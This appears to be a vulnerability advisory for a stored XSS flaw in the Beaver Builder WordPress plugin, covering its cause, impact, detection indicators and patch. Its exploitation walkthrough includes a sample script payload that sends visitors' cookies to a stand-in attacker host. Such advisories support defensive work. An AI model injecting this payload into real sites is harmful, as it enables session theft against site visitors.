CVE-2026-17090: 
WordPress vulnerability analysis and mitigation

CVE-2026-17090 is a Stored Cross-Site Scripting (XSS) vulnerability in the Beaver Builder Page Builder – Drag and Drop Website Builder plugin for WordPress. It affects all versions up to and including 2.10.2.2, stemming from insufficient input sanitization and output escaping in the Button Module's 'button' (Button Code) setting. Authenticated attackers with Author-level access or above can inject arbitrary web scripts into pages that execute when any user visits the affected page. It was published on August 15, 2026, with a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, ENISA EUVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting). The root cause is insufficient sanitization of user-supplied input in the Button Module's 'Button Code' setting and inadequate output escaping when rendering that value in the frontend JavaScript template (frontend.js.php). Because Beaver Builder grants editor access to any WordPress role holding the edit_posts capability by default, Author-level users and above can craft a malicious button configuration containing arbitrary JavaScript, which is then stored and rendered to all subsequent page visitors without proper escaping. Relevant source code locations include modules/button/includes/frontend.js.php#L8, classes/class-fl-builder-model.php#L4659, and modules/button/button.php#L341 (Wordfence, WordPress Trac).

Successful exploitation allows an authenticated attacker with Author-level privileges to persistently inject malicious JavaScript into WordPress pages, which executes in the browsers of all users who visit those pages. This can result in session cookie theft, credential harvesting, defacement, redirection to malicious sites, or delivery of further malware payloads to site visitors. While availability is not directly impacted, the confidentiality and integrity of user sessions and site content are at risk, and the changed scope means impact extends beyond the attacker's own session to all site visitors (Wordfence, ENISA EUVD).

As of the publication date (August 15, 2026), the EPSS score is 0.0, indicating no significant exploitation probability has been observed yet. No in-the-wild exploitation, threat actor attribution, or inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog has been reported. The vulnerability requires authenticated access at the Author level or above, which limits the attack surface compared to unauthenticated vulnerabilities, though the low attack complexity and network-based attack vector make it straightforward to exploit once access is obtained (ENISA EUVD, Wordfence).

1. Obtain Author-level access: Register or compromise a WordPress account with at least Author-level privileges (or any role with the edit_posts capability) on a site running Beaver Builder ≤ 2.10.2.2.
2. Open the Beaver Builder editor: Navigate to a page or post editable by the attacker and launch the Beaver Builder drag-and-drop editor.
3. Add or edit a Button Module: Insert a Button Module onto the page layout.
4. Inject malicious payload: In the Button Module settings, locate the 'Button Code' (button) field and enter a malicious JavaScript payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
5. Save and publish: Save the module settings and publish or update the page, causing the unsanitized payload to be stored in the database.
6. Trigger execution: Any user (including administrators) who visits the affected page will have the injected script execute in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to page/post edit endpoints by Author-level accounts, particularly saving Beaver Builder module data containing <script> tags or encoded JavaScript in the button code field; review wp-content/uploads/bb-plugin/cache/ for unexpected cached files.
• File System: Unexpected modifications to Beaver Builder cached layout files in wp-content/uploads/bb-plugin/ containing obfuscated or encoded JavaScript payloads.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after visiting pages with Beaver Builder Button Modules; monitor for unusual cookie or credential exfiltration patterns in web proxy logs.
• Database: Inspect the wp_postmeta or serialized Beaver Builder layout data stored in wp_posts for Button Module entries containing raw <script> tags or JavaScript event handlers in the button code field.

Site administrators should update the Beaver Builder Page Builder plugin to a version beyond 2.10.2.2, which addresses the insufficient sanitization in the Button Module's Button Code setting. The fix is available in the changeset referenced at the WordPress plugin repository (WordPress Trac Changeset). As a temporary workaround, restrict the edit_posts capability to trusted users only, limiting who can access the Beaver Builder editor. Additionally, review existing pages for any suspicious content in Button Module configurations (Wordfence).